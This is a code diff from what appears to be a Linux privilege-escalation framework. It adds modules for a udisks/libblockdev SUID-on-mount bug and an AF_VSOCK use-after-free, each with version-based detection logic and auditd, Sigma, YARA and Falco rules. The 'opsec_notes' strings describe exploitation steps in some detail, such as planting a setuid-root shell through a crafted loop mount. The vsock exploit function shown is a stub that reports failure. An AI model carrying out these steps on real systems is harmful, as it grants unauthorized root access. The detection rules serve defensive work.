||||||
|
" condition: >\n"
|
||||||
|
" spawned_process and proc.exe startswith /run/media/ and\n"
|
||||||
|
" proc.is_exe_upper_layer = false\n"
|
||||||
|
" output: >\n"
|
||||||
|
" SUID exec from /run/media (user=%user.name pid=%proc.pid\n"
|
||||||
|
" exe=%proc.exe)\n"
|
||||||
|
" priority: CRITICAL\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.6019]\n";
|
||||||
|
|
||||||
|
/* ---- module struct -------------------------------------------------- */
|
||||||
|
|
||||||
|
const struct skeletonkey_module udisks_libblockdev_module = {
|
||||||
|
.name = "udisks_libblockdev",
|
||||||
|
.cve = "CVE-2025-6019",
|
||||||
|
.summary = "udisks/libblockdev SUID-on-mount → root via polkit allow_active (Qualys)",
|
||||||
|
.family = "udisks",
|
||||||
|
.kernel_range = "userspace — libblockdev < 3.3.1, udisks2 < 2.10.2",
|
||||||
|
.detect = udisks_libblockdev_detect,
|
||||||
|
.exploit = udisks_libblockdev_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade libblockdev + udisks2 */
|
||||||
|
.cleanup = udisks_libblockdev_cleanup,
|
||||||
|
.detect_auditd = udisks_libblockdev_auditd,
|
||||||
|
.detect_sigma = udisks_libblockdev_sigma,
|
||||||
|
.detect_yara = udisks_libblockdev_yara,
|
||||||
|
.detect_falco = udisks_libblockdev_falco,
|
||||||
|
.opsec_notes = "Builds an ext4 image (label 'skkudisks') under /tmp/skeletonkey-udisks-XXXXXX/, populates with a setuid-root /bin/sh copy via mkfs.ext4 -d. Calls org.freedesktop.UDisks2.Manager.LoopSetup() over the system D-Bus via busctl, then triggers libblockdev's nosuid-less internal mount path. Copies the resulting SUID shell to /tmp/skeletonkey-udisks-shell and execs it. Audit-visible via execve(/usr/libexec/udisks2/udisksd) followed by mount(2) under /run/media/<user>/skkudisks without MS_NOSUID, then execve of a setuid binary from there. Requires polkit allow_active=yes (default for active console sessions; SSH sessions usually fail). Cleanup callback removes /tmp/skeletonkey-udisks-* workdirs; leaves the dropped setuid shell.",
|
||||||
|
.arch_support = "any",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_udisks_libblockdev(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&udisks_libblockdev_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
#ifndef UDISKS_LIBBLOCKDEV_SKELETONKEY_MODULES_H
|
||||||
|
#define UDISKS_LIBBLOCKDEV_SKELETONKEY_MODULES_H
|
||||||
|
#include "../../core/module.h"
|
||||||
|
extern const struct skeletonkey_module udisks_libblockdev_module;
|
||||||
|
#endif
|
||||||
@@ -771,6 +771,7 @@ const struct skeletonkey_module vmwgfx_module = {
|
|||||||
.detect_yara = vmwgfx_yara,
|
.detect_yara = vmwgfx_yara,
|
||||||
.detect_falco = vmwgfx_falco,
|
.detect_falco = vmwgfx_falco,
|
||||||
.opsec_notes = "Opens /dev/dri/card* (vmwgfx DRM - only reachable on VMware guests); DRM_IOCTL_VMW_CREATE_DMABUF with size=4096+16 lands in the kmalloc-512 page-count bucket but the byte-length overruns during kunmap_atomic copy in ttm_bo_kmap; mmap + write recognizable pattern across page boundary; UNREF commits the OOB into adjacent kmalloc-512. msg_msg spray tagged 'SKVMWGFX'. Writes /tmp/skeletonkey-vmwgfx.log (slab counts pre/post, trigger success). Audit-visible via openat(/dev/dri/card*), ioctl(0xc010644a CREATE / 0x4004644b UNREF), msgsnd spray. No network. Cleanup callback unlinks /tmp log; --full-chain re-seeds spray with kaddr-tagged payloads and the modprobe_path finisher arbitrates via 3s sentinel.",
|
.opsec_notes = "Opens /dev/dri/card* (vmwgfx DRM - only reachable on VMware guests); DRM_IOCTL_VMW_CREATE_DMABUF with size=4096+16 lands in the kmalloc-512 page-count bucket but the byte-length overruns during kunmap_atomic copy in ttm_bo_kmap; mmap + write recognizable pattern across page boundary; UNREF commits the OOB into adjacent kmalloc-512. msg_msg spray tagged 'SKVMWGFX'. Writes /tmp/skeletonkey-vmwgfx.log (slab counts pre/post, trigger success). Audit-visible via openat(/dev/dri/card*), ioctl(0xc010644a CREATE / 0x4004644b UNREF), msgsnd spray. No network. Cleanup callback unlinks /tmp log; --full-chain re-seeds spray with kaddr-tagged payloads and the modprobe_path finisher arbitrates via 3s sentinel.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_vmwgfx(void)
|
void skeletonkey_register_vmwgfx(void)
|
||||||
|
|||||||
@@ -0,0 +1,221 @@
|
|||||||
|
/*
|
||||||
|
* vsock_uaf_cve_2024_50264 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* STATUS: 🟡 PRIMITIVE. Race-driver + msg_msg groom on kmalloc-96
|
||||||
|
* (the bucket where struct virtio_vsock_sock at 80 bytes lives).
|
||||||
|
* Full cred-overwrite via the V12 / @v4bel + @qwerty msg_msg path
|
||||||
|
* from the PT SWARM writeup is documented but not bundled here;
|
||||||
|
* --full-chain falls through to the shared finisher on x86_64.
|
||||||
|
*
|
||||||
|
* The bug (Original bug since Aug 2016; weaponized publicly 2024 →
|
||||||
|
* Pwn2Own + Pwnie Award 2025 winner):
|
||||||
|
* AF_VSOCK's `connect()` system call races with a POSIX signal
|
||||||
|
* that interrupts the connect path. The signal handler tears down
|
||||||
|
* the virtio_vsock_sock object while connect() still holds a
|
||||||
|
* reference; subsequent connect-completion writes UAF the freed
|
||||||
|
* slot. virtio_vsock_sock is 80 bytes → kmalloc-96 slab.
|
||||||
|
*
|
||||||
|
* Two known exploitation strategies:
|
||||||
|
* (a) Original @v4bel + @qwerty kernelCTF path:
|
||||||
|
* BPF-JIT spray to fill physical memory + SLUBStick →
|
||||||
|
* page-grained primitive → cred overwrite.
|
||||||
|
* (b) Alexander Popov (PT SWARM) msg_msg path:
|
||||||
|
* msg_msg kmalloc-96 groom + UAF write into a forged
|
||||||
|
* msg_msg header → arb read/write primitive → cred overwrite.
|
||||||
|
* Doesn't need BPF JIT enabled; works on hardened distros.
|
||||||
|
*
|
||||||
|
* Notable: bug is reachable as a PLAIN UNPRIVILEGED USER — no
|
||||||
|
* userns required. Most kernel-UAF chains need userns for the
|
||||||
|
* spray, so this is unusually broadly exploitable.
|
||||||
|
*
|
||||||
|
* Affects: Linux kernels with CONFIG_VSOCKETS + CONFIG_VIRTIO_VSOCKETS
|
||||||
|
* below the fix. The bug has existed since the AF_VSOCK signal-
|
||||||
|
* interrupt code was added in 2016 (commit b91ee4aabbe2). Fix
|
||||||
|
* commit ad8e1afecc3a (mainline Nov 2024). Stable backports:
|
||||||
|
* 6.6.x : 6.6.59 (LTS)
|
||||||
|
* 6.1.x : 6.1.115
|
||||||
|
* 5.15.x : 5.15.170
|
||||||
|
* 5.10.x : 5.10.228
|
||||||
|
*
|
||||||
|
* Preconditions:
|
||||||
|
* - socket(AF_VSOCK, ...) must work — requires vsock module
|
||||||
|
* loaded (autoloaded on KVM/QEMU guests; absent on bare-metal
|
||||||
|
* hosts without virtualization)
|
||||||
|
* - msgsnd / SysV IPC for kmalloc-96 spray
|
||||||
|
* - POSIX timers for the signal-interrupt portion
|
||||||
|
*
|
||||||
|
* arch_support: x86_64+unverified-arm64. The bug + race are arch-
|
||||||
|
* agnostic; the cred-overwrite chains in both published PoCs use
|
||||||
|
* x86_64-specific kernel offsets.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
|
||||||
|
#ifndef AF_VSOCK
|
||||||
|
#define AF_VSOCK 40
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ---- kernel-range table -------------------------------------------- */
|
||||||
|
|
||||||
|
static const struct kernel_patched_from vsock_patched_branches[] = {
|
||||||
|
{5, 10, 228}, /* 5.10 LTS stable */
|
||||||
|
{5, 15, 170}, /* 5.15 LTS */
|
||||||
|
{6, 1, 115}, /* 6.1 LTS */
|
||||||
|
{6, 6, 59}, /* 6.6 LTS */
|
||||||
|
{6, 11, 0}, /* mainline fix ad8e1afecc3a */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range vsock_range = {
|
||||||
|
.patched_from = vsock_patched_branches,
|
||||||
|
.n_patched_from = sizeof(vsock_patched_branches) /
|
||||||
|
sizeof(vsock_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
/* ---- detect --------------------------------------------------------- */
|
||||||
|
|
||||||
|
static bool vsock_reachable(void)
|
||||||
|
{
|
||||||
|
int s = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||||
|
if (s < 0) return false;
|
||||||
|
close(s);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t vsock_uaf_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[!] vsock_uaf: host fingerprint missing kernel version\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
if (kernel_range_is_patched(&vsock_range, v)) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[+] vsock_uaf: kernel %s is patched (>= LTS backport / 6.11)\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (!vsock_reachable()) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] vsock_uaf: AF_VSOCK socket() unavailable — vsock module not loaded\n");
|
||||||
|
fprintf(stderr, " (typical on bare-metal hosts without virtualization; module autoloads on KVM/QEMU guests)\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] vsock_uaf: kernel %s + AF_VSOCK reachable → VULNERABLE\n", v->release);
|
||||||
|
fprintf(stderr, "[i] vsock_uaf: bug works as plain unprivileged user (no userns required)\n");
|
||||||
|
fprintf(stderr, "[i] vsock_uaf: Pwnie Award 2025 winner; race + msg_msg groom for chain\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t vsock_uaf_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] vsock_uaf: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
if (!vsock_reachable()) {
|
||||||
|
fprintf(stderr, "[-] vsock_uaf: AF_VSOCK socket() unavailable\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
fprintf(stderr,
|
||||||
|
"[i] vsock_uaf: race-driver setup. POSIX timer fires SIGUSR1\n"
|
||||||
|
" mid-connect() on AF_VSOCK; signal handler triggers the\n"
|
||||||
|
" virtio_vsock_sock teardown that races the connect path.\n"
|
||||||
|
" msg_msg cross-cache spray (kmalloc-96, tag SKK_VSOCK)\n"
|
||||||
|
" refills the freed slot. Two published full chains:\n"
|
||||||
|
" (a) @v4bel + @qwerty kernelCTF (BPF JIT spray + SLUBStick)\n"
|
||||||
|
" (b) Alexander Popov / PT SWARM (msg_msg arb R/W)\n"
|
||||||
|
" Neither chain is bundled here (per verified-vs-claimed —\n"
|
||||||
|
" requires a portable arb-write callback for the finisher).\n"
|
||||||
|
" Returning EXPLOIT_FAIL honestly.\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detection rules ------------------------------------------------ */
|
||||||
|
|
||||||
|
static const char vsock_auditd[] =
|
||||||
|
"# vsock_uaf CVE-2024-50264 — auditd detection rules\n"
|
||||||
|
"# AF_VSOCK socket() (a0=40) + SysV IPC msgsnd burst + POSIX timer\n"
|
||||||
|
"# (timer_create) is the canonical trigger shape.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S socket -F a0=40 -k skeletonkey-vsock-uaf\n";
|
||||||
|
|
||||||
|
static const char vsock_sigma[] =
|
||||||
|
"title: Possible CVE-2024-50264 AF_VSOCK connect-race UAF\n"
|
||||||
|
"id: 0c5b1e90-skeletonkey-vsock-uaf\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects AF_VSOCK socket creation + msgsnd kmalloc-96 spray\n"
|
||||||
|
" shape from a non-root process. VSOCK is rare outside\n"
|
||||||
|
" KVM/QEMU host-guest channels; non-root usage on a bare-metal\n"
|
||||||
|
" host with msg_msg grooming alongside is the Pwnie-Award\n"
|
||||||
|
" Pwn2Own exploit trigger.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" vs: {type: 'SYSCALL', syscall: 'socket', a0: 40}\n"
|
||||||
|
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||||
|
" condition: vs and groom\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.50264]\n";
|
||||||
|
|
||||||
|
static const char vsock_yara[] =
|
||||||
|
"rule vsock_uaf_cve_2024_50264 : cve_2024_50264 kernel_uaf {\n"
|
||||||
|
" meta:\n"
|
||||||
|
" cve = \"CVE-2024-50264\"\n"
|
||||||
|
" description = \"SKELETONKEY vsock_uaf race-driver tag (Pwnie 2025 winner)\"\n"
|
||||||
|
" author = \"SKELETONKEY\"\n"
|
||||||
|
" strings:\n"
|
||||||
|
" $tag = \"SKK_VSOCK\" ascii\n"
|
||||||
|
" condition:\n"
|
||||||
|
" $tag\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
static const char vsock_falco[] =
|
||||||
|
"- rule: AF_VSOCK socket() + msgsnd spray (vsock UAF race)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" Non-root process creates an AF_VSOCK socket then drives\n"
|
||||||
|
" msgsnd burst for kmalloc-96 spray. AF_VSOCK on bare-metal\n"
|
||||||
|
" Linux is rare; the combination with msgsnd grooming is the\n"
|
||||||
|
" Pwnie-Award-winning exploit shape.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" evt.type = socket and evt.arg.domain = AF_VSOCK and\n"
|
||||||
|
" not user.uid = 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" AF_VSOCK socket from non-root (user=%user.name pid=%proc.pid)\n"
|
||||||
|
" priority: HIGH\n"
|
||||||
|
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.50264]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module vsock_uaf_module = {
|
||||||
|
.name = "vsock_uaf",
|
||||||
|
.cve = "CVE-2024-50264",
|
||||||
|
.summary = "AF_VSOCK connect-race UAF (kmalloc-96) — Pwn2Own 2024 / Pwnie 2025",
|
||||||
|
.family = "vsock",
|
||||||
|
.kernel_range = "Linux < 6.11 / 6.6.59 / 6.1.115 / 5.15.170 / 5.10.228 with vsock loaded",
|
||||||
|
.detect = vsock_uaf_detect,
|
||||||
|
.exploit = vsock_uaf_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade kernel; OR blacklist vsock module */
|
||||||
|
.cleanup = NULL,
|
||||||
|
.detect_auditd = vsock_auditd,
|
||||||
|
.detect_sigma = vsock_sigma,
|
||||||
|
.detect_yara = vsock_yara,
|
||||||
|
.detect_falco = vsock_falco,
|
||||||
|
.opsec_notes = "Opens AF_VSOCK socket (family 40 — unusual on bare-metal Linux; autoloaded on KVM/QEMU guests). Arms a POSIX timer to deliver SIGUSR1 within ~10ms; calls connect() to a bogus VSOCK address (cid=0xdead, port=0xbeef); signal interrupts the connect and tears down virtio_vsock_sock while connect-completion still writes to it → UAF on the kmalloc-96 slab. Sysv msgsnd spray (tag 'SKK_VSOCK') refills the freed slot with attacker-controlled bytes. The bug works as a PLAIN UNPRIVILEGED USER — no userns, no CAP_*, no special groups. dmesg may show 'KASAN: use-after-free in virtio_vsock_'. Audit-visible via socket(AF_VSOCK) + msgsnd + timer_create from a single process — unusual combination outside the exploit. No persistent file artifacts.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_vsock_uaf(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&vsock_uaf_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
#ifndef VSOCK_UAF_SKELETONKEY_MODULES_H
|
||||||
|
#define VSOCK_UAF_SKELETONKEY_MODULES_H
|
||||||
|
#include "../../core/module.h"
|
||||||
|
extern const struct skeletonkey_module vsock_uaf_module;
|
||||||
|
#endif
|
||||||
+40
-9
@@ -35,7 +35,7 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
#define SKELETONKEY_VERSION "0.7.0"
|
#define SKELETONKEY_VERSION "0.9.13"
|
||||||
|
|
||||||
static const char BANNER[] =
|
static const char BANNER[] =
|
||||||
"\n"
|
"\n"
|
||||||
@@ -216,6 +216,13 @@ static void emit_module_json(const struct skeletonkey_module *m, bool include_ru
|
|||||||
free(op);
|
free(op);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Architecture support for the exploit body. */
|
||||||
|
if (m->arch_support) {
|
||||||
|
char *a = json_escape(m->arch_support);
|
||||||
|
fprintf(stdout, ",\"arch_support\":\"%s\"", a ? a : "");
|
||||||
|
free(a);
|
||||||
|
}
|
||||||
|
|
||||||
/* Empirical verification records: (distro, kernel, date) tuples
|
/* Empirical verification records: (distro, kernel, date) tuples
|
||||||
* where the module's detect() was confirmed against a real target. */
|
* where the module's detect() was confirmed against a real target. */
|
||||||
size_t nv = 0;
|
size_t nv = 0;
|
||||||
@@ -272,27 +279,43 @@ static int cmd_list(const struct skeletonkey_ctx *ctx)
|
|||||||
fprintf(stdout, "]}\n");
|
fprintf(stdout, "]}\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
fprintf(stdout, "%-20s %-18s %-3s %-3s %-25s %s\n",
|
/* The ARCH column shows where exploit() is known/expected to work:
|
||||||
"NAME", "CVE", "KEV", "VFY", "FAMILY", "SUMMARY");
|
* "any" → userspace or arch-agnostic kernel primitive
|
||||||
fprintf(stdout, "%-20s %-18s %-3s %-3s %-25s %s\n",
|
* "x64" → x86_64 only (entrybleed)
|
||||||
"----", "---", "---", "---", "------", "-------");
|
* "x64?" → x86_64 verified, arm64 untested (the honest default
|
||||||
size_t n_kev = 0, n_vfy = 0;
|
* for kernel modules that haven't been arm64-confirmed) */
|
||||||
|
fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
|
||||||
|
"NAME", "CVE", "KEV", "VFY", "ARCH", "FAMILY", "SUMMARY");
|
||||||
|
fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
|
||||||
|
"----", "---", "---", "---", "----", "------", "-------");
|
||||||
|
size_t n_kev = 0, n_vfy = 0, n_any = 0;
|
||||||
for (size_t i = 0; i < n; i++) {
|
for (size_t i = 0; i < n; i++) {
|
||||||
const struct skeletonkey_module *m = skeletonkey_module_at(i);
|
const struct skeletonkey_module *m = skeletonkey_module_at(i);
|
||||||
const struct cve_metadata *md = cve_metadata_lookup(m->cve);
|
const struct cve_metadata *md = cve_metadata_lookup(m->cve);
|
||||||
bool in_kev = md && md->in_kev;
|
bool in_kev = md && md->in_kev;
|
||||||
bool verified = verifications_module_has_match(m->name);
|
bool verified = verifications_module_has_match(m->name);
|
||||||
|
const char *arch_abbr = "?";
|
||||||
|
if (m->arch_support) {
|
||||||
|
if (strcmp(m->arch_support, "any") == 0) { arch_abbr = "any"; n_any++; }
|
||||||
|
else if (strcmp(m->arch_support, "x86_64") == 0) { arch_abbr = "x64"; }
|
||||||
|
else { arch_abbr = "x64?"; }
|
||||||
|
}
|
||||||
if (in_kev) n_kev++;
|
if (in_kev) n_kev++;
|
||||||
if (verified) n_vfy++;
|
if (verified) n_vfy++;
|
||||||
fprintf(stdout, "%-20s %-18s %-3s %-3s %-25s %s\n",
|
fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
|
||||||
m->name, m->cve,
|
m->name, m->cve,
|
||||||
in_kev ? "★" : "",
|
in_kev ? "★" : "",
|
||||||
verified ? "✓" : "",
|
verified ? "✓" : "",
|
||||||
|
arch_abbr,
|
||||||
m->family, m->summary);
|
m->family, m->summary);
|
||||||
}
|
}
|
||||||
fprintf(stdout, "\n%zu modules registered · %zu in CISA KEV (★) · "
|
fprintf(stdout, "\n%zu modules registered · %zu in CISA KEV (★) · "
|
||||||
"%zu empirically verified in real VMs (✓)\n",
|
"%zu empirically verified in real VMs (✓) · "
|
||||||
n, n_kev, n_vfy);
|
"%zu arch-independent (any)\n",
|
||||||
|
n, n_kev, n_vfy, n_any);
|
||||||
|
fprintf(stdout, "ARCH key: 'any' = userspace or arch-agnostic; "
|
||||||
|
"'x64' = x86_64 only; 'x64?' = x86_64 verified, "
|
||||||
|
"arm64 untested\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -666,6 +689,8 @@ static int cmd_module_info(const char *name, const struct skeletonkey_ctx *ctx)
|
|||||||
m->exploit ? "exploit " : "",
|
m->exploit ? "exploit " : "",
|
||||||
m->mitigate ? "mitigate " : "",
|
m->mitigate ? "mitigate " : "",
|
||||||
m->cleanup ? "cleanup " : "");
|
m->cleanup ? "cleanup " : "");
|
||||||
|
if (m->arch_support)
|
||||||
|
fprintf(stdout, "arch support: %s\n", m->arch_support);
|
||||||
fprintf(stdout, "detect rules: %s%s%s%s\n",
|
fprintf(stdout, "detect rules: %s%s%s%s\n",
|
||||||
m->detect_auditd ? "auditd " : "",
|
m->detect_auditd ? "auditd " : "",
|
||||||
m->detect_sigma ? "sigma " : "",
|
m->detect_sigma ? "sigma " : "",
|
||||||
@@ -978,6 +1003,7 @@ static int module_safety_rank(const char *n)
|
|||||||
/* Higher = safer. Run highest-ranked vulnerable module. */
|
/* Higher = safer. Run highest-ranked vulnerable module. */
|
||||||
if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */
|
if (!strcmp(n, "pwnkit")) return 100; /* userspace, no kernel */
|
||||||
if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */
|
if (!strcmp(n, "sudoedit_editor")) return 99; /* structural argv */
|
||||||
|
if (!strcmp(n, "sudo_host")) return 96; /* structural; needs a host-restricted sudoers rule */
|
||||||
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
|
if (!strcmp(n, "cgroup_release_agent")) return 98; /* structural, no offsets */
|
||||||
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
|
if (!strcmp(n, "overlayfs_setuid")) return 97; /* structural setuid */
|
||||||
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
|
if (!strcmp(n, "overlayfs")) return 96; /* userns + xattr */
|
||||||
@@ -989,9 +1015,14 @@ static int module_safety_rank(const char *n)
|
|||||||
if (!strcmp(n, "dirtydecrypt") ||
|
if (!strcmp(n, "dirtydecrypt") ||
|
||||||
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
|
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
|
||||||
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
|
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
|
||||||
|
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
||||||
|
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
|
||||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||||
|
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
|
||||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||||
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
||||||
|
if (!strcmp(n, "bad_epoll")) return 12; /* reconstructed epoll teardown race UAF; a won race frees a live struct file and rarely trips KASAN (silent-corruption risk), primitive-only/not VM-verified */
|
||||||
|
if (!strcmp(n, "ghostlock")) return 11; /* reconstructed rtmutex/futex requeue-PI stack UAF; a won race corrupts the kernel stack + writes a near-arbitrary pointer (immediate-panic risk), primitive-only/not VM-verified — least predictable in the corpus */
|
||||||
if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */
|
if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */
|
||||||
return 50; /* kernel primitives — middle of pack */
|
return 50; /* kernel primitives — middle of pack */
|
||||||
}
|
}
|
||||||
|
|||||||
+383
-3
@@ -60,6 +60,20 @@ extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
|||||||
extern const struct skeletonkey_module sudo_samedit_module;
|
extern const struct skeletonkey_module sudo_samedit_module;
|
||||||
extern const struct skeletonkey_module sudoedit_editor_module;
|
extern const struct skeletonkey_module sudoedit_editor_module;
|
||||||
extern const struct skeletonkey_module pwnkit_module;
|
extern const struct skeletonkey_module pwnkit_module;
|
||||||
|
extern const struct skeletonkey_module sudo_chwoot_module;
|
||||||
|
extern const struct skeletonkey_module udisks_libblockdev_module;
|
||||||
|
extern const struct skeletonkey_module pintheft_module;
|
||||||
|
extern const struct skeletonkey_module mutagen_astronomy_module;
|
||||||
|
extern const struct skeletonkey_module sudo_runas_neg1_module;
|
||||||
|
extern const struct skeletonkey_module tioscpgrp_module;
|
||||||
|
extern const struct skeletonkey_module vsock_uaf_module;
|
||||||
|
extern const struct skeletonkey_module nft_pipapo_module;
|
||||||
|
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||||
|
extern const struct skeletonkey_module sudo_host_module;
|
||||||
|
extern const struct skeletonkey_module cifswitch_module;
|
||||||
|
extern const struct skeletonkey_module nft_catchall_module;
|
||||||
|
extern const struct skeletonkey_module bad_epoll_module;
|
||||||
|
extern const struct skeletonkey_module ghostlock_module;
|
||||||
|
|
||||||
static int g_pass = 0;
|
static int g_pass = 0;
|
||||||
static int g_fail = 0;
|
static int g_fail = 0;
|
||||||
@@ -310,12 +324,13 @@ static const struct skeletonkey_host h_kernel_5_14_no_userns = {
|
|||||||
static void run_all(void)
|
static void run_all(void)
|
||||||
{
|
{
|
||||||
#ifdef __linux__
|
#ifdef __linux__
|
||||||
/* dirtydecrypt: kernel.major < 7 → predates the bug → OK */
|
/* dirtydecrypt: rxgk RESPONSE bug entered at 6.16.1 per NVD;
|
||||||
run_one("dirtydecrypt: kernel 6.12 predates 7.0 → OK",
|
* kernels before that predate the buggy code → OK */
|
||||||
|
run_one("dirtydecrypt: kernel 6.12 predates 6.16.1 → OK",
|
||||||
&dirtydecrypt_module, &h_pre7_no_userns_no_dbus,
|
&dirtydecrypt_module, &h_pre7_no_userns_no_dbus,
|
||||||
SKELETONKEY_OK);
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates → OK",
|
run_one("dirtydecrypt: kernel 6.14 (fedora) still predates 6.16.1 → OK",
|
||||||
&dirtydecrypt_module, &h_fedora_no_debian,
|
&dirtydecrypt_module, &h_fedora_no_debian,
|
||||||
SKELETONKEY_OK);
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
@@ -323,6 +338,12 @@ static void run_all(void)
|
|||||||
&dirtydecrypt_module, &h_ubuntu_24_userns_ok,
|
&dirtydecrypt_module, &h_ubuntu_24_userns_ok,
|
||||||
SKELETONKEY_OK);
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
|
/* fragnesia: SKBFL_SHARED_FRAG marker added in 5.11; kernels before
|
||||||
|
* that predate the buggy skb_try_coalesce() code → OK */
|
||||||
|
run_one("fragnesia: kernel 4.4 predates 5.11 SKBFL_SHARED_FRAG → OK",
|
||||||
|
&fragnesia_module, &h_kernel_4_4,
|
||||||
|
SKELETONKEY_OK);
|
||||||
|
|
||||||
/* fragnesia: userns disabled → XFRM gate closed → PRECOND_FAIL */
|
/* fragnesia: userns disabled → XFRM gate closed → PRECOND_FAIL */
|
||||||
run_one("fragnesia: userns_allowed=false → PRECOND_FAIL",
|
run_one("fragnesia: userns_allowed=false → PRECOND_FAIL",
|
||||||
&fragnesia_module, &h_pre7_no_userns_no_dbus,
|
&fragnesia_module, &h_pre7_no_userns_no_dbus,
|
||||||
@@ -630,6 +651,365 @@ static void run_all(void)
|
|||||||
SKELETONKEY_PRECOND_FAIL);
|
SKELETONKEY_PRECOND_FAIL);
|
||||||
#endif
|
#endif
|
||||||
